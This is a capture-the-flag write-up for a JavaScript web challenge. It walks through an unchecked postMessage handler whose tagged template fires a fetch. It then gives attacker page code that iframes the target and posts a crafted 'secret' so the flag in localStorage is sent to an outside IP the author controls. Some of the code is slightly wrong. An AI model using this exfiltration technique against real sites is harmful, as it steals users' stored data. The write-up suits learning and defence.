We believe the machines came up with their own mechanism to keep humans out. Deceive the machines. Make them believe you are one of them and retrieve
Author: koks
There is no source provided so lets start an instance of the challenge and enumerate!( I really like the theme choice)
Simply viewing the source code we can easily spot the part of interest for us. Which is the below JavaScript snippet. The first part of the functionality as seen below is some kind of secret submission
<script>
onmessage = (e) => {
const secret = parseInt(e.data.secret)
const prompt = e.data.prompt
// let's go
if (!Number.isSafeInteger(secret)) { return error.innerText = "Bad Secret :(" }
// be positive
if (secret <= 0) { return error.innerText = "Bad Secret :(" }
// i don't like odds
if (secret % 2 !== 0) { return error.innerText = "Bad Secret :(" }
// build a function
((_, ...s) => fetch(`//${s[1]}?p=${s[2]}&k=${s[0]}`))
// secret instructions
`I'll give you a ${localStorage["gift"]} if you know the ${secret} ${prompt}! 🎁`
// good luck & goodbye
};
ontry = () => (error.innerText = "") || postMessage({ secret: a.value, prompt: b.value });
</script>
The second part of the functionality comes down to the Page Summarizer
which essentially just submits a url to the summarize endpoint and supposingly some kind of bots visits the url.
Let's read through the js part an see what is happening to our inputs when we click submit. Supposingly 2 parameters exist secret of type int
and prompt which is not subjected to any kind of checks.
Secret checks:
The safe integers consist of all integers from -(253 - 1) to 253 - 1
)Then the code goes on trying to supposingly build a function with this weird syntax
((_, ...s) => fetch(//${s[1]}?p=${s[2]}&k=${s[0]}
))
I will be very honest I don't understand anything about how this might help with the challenge or how it works... This is where I stopped attempting static analysis and went on to dynamic analysis
Let's test the inputs 2 for secret and hello for prompt
If we visit the network tab there seems to be a failed http request to http://0.0.0.2/?p=hello&k=undefined
At the start I was very confused but after some time it clicked. The ip address requested is made up from the secret input and the prompt is the p
parameter and then i have no idea what k
is and no matter what i do it is undefined... I was stuck again...
I was desperate hence I used the JavaScript debugger and set a break point to the line building the weird function.
I don't know if this was good or bad, but the function is only created here how is it also executed(so many questions popped in mind).
The only logical explanation about how the function is called then, must be that this line I'll give you a ${localStorage["gift"]} if you know the ${secret} ${prompt}! 🎁
calls it... I placed a breakpoint there to and just watched a random piece of text in backticks call a function and if that wasn't enough the parameters in the string that are kind of templated with ${} are provided as an expanding array named s in the function.
To summarize: s[0] -> ${localStorage["gift"]} s[1] -> ${secret} s[2] -> ${prompt}
But then the question of how was the number 2 turned to 0.0.0.2 in fetch
?
There are 2 options here either understand how it works and generate a number that will generate an ip address that will match an attacker controlled server or simply bruteforce it using some guessing and simple logic
Well all that info is nice but how do we get the flag sitting on the remote server?
Lets summarize once more what we have
postMessage
data on its own domain.Ok so what if we create an attacker page with a script that creates an iframe essentially rendering the challenge. Then use the iframe.contentWindow.postMessage
function to post a message to our own controlled ip address with the flag?
Let's do it:
Page to summarize
<iframe id="myIframe" src="http://challenges.cybermouflons.com:10091"></iframe>
<script>
var iframe = document.createElement('myIframe');
iframe.contentWindow.postMessage({ secret: 0164649658, prompt: "from evangelospro.com" }, 'http://challenges.cybermouflons.com:10091');
</script>
Then on the ip 9.208.90.186(0164649658) lets start a python webserver and listen for the flag
I must agree with the flag here the whole Javascript thing here seems like magic to me and never stops to impress me with it's weirdness. I will never understand how one of the core libraries powering the current 'world wide web' can be so unstable and confusing to read and understand, with so many weird exceptions in behavior. But that is just my two cents take it as you will. At last I must also say that i am very impressed with the challenge authors' knowledge of JS as last year he also presented another weird JavaScript magic in last years CCSC 2022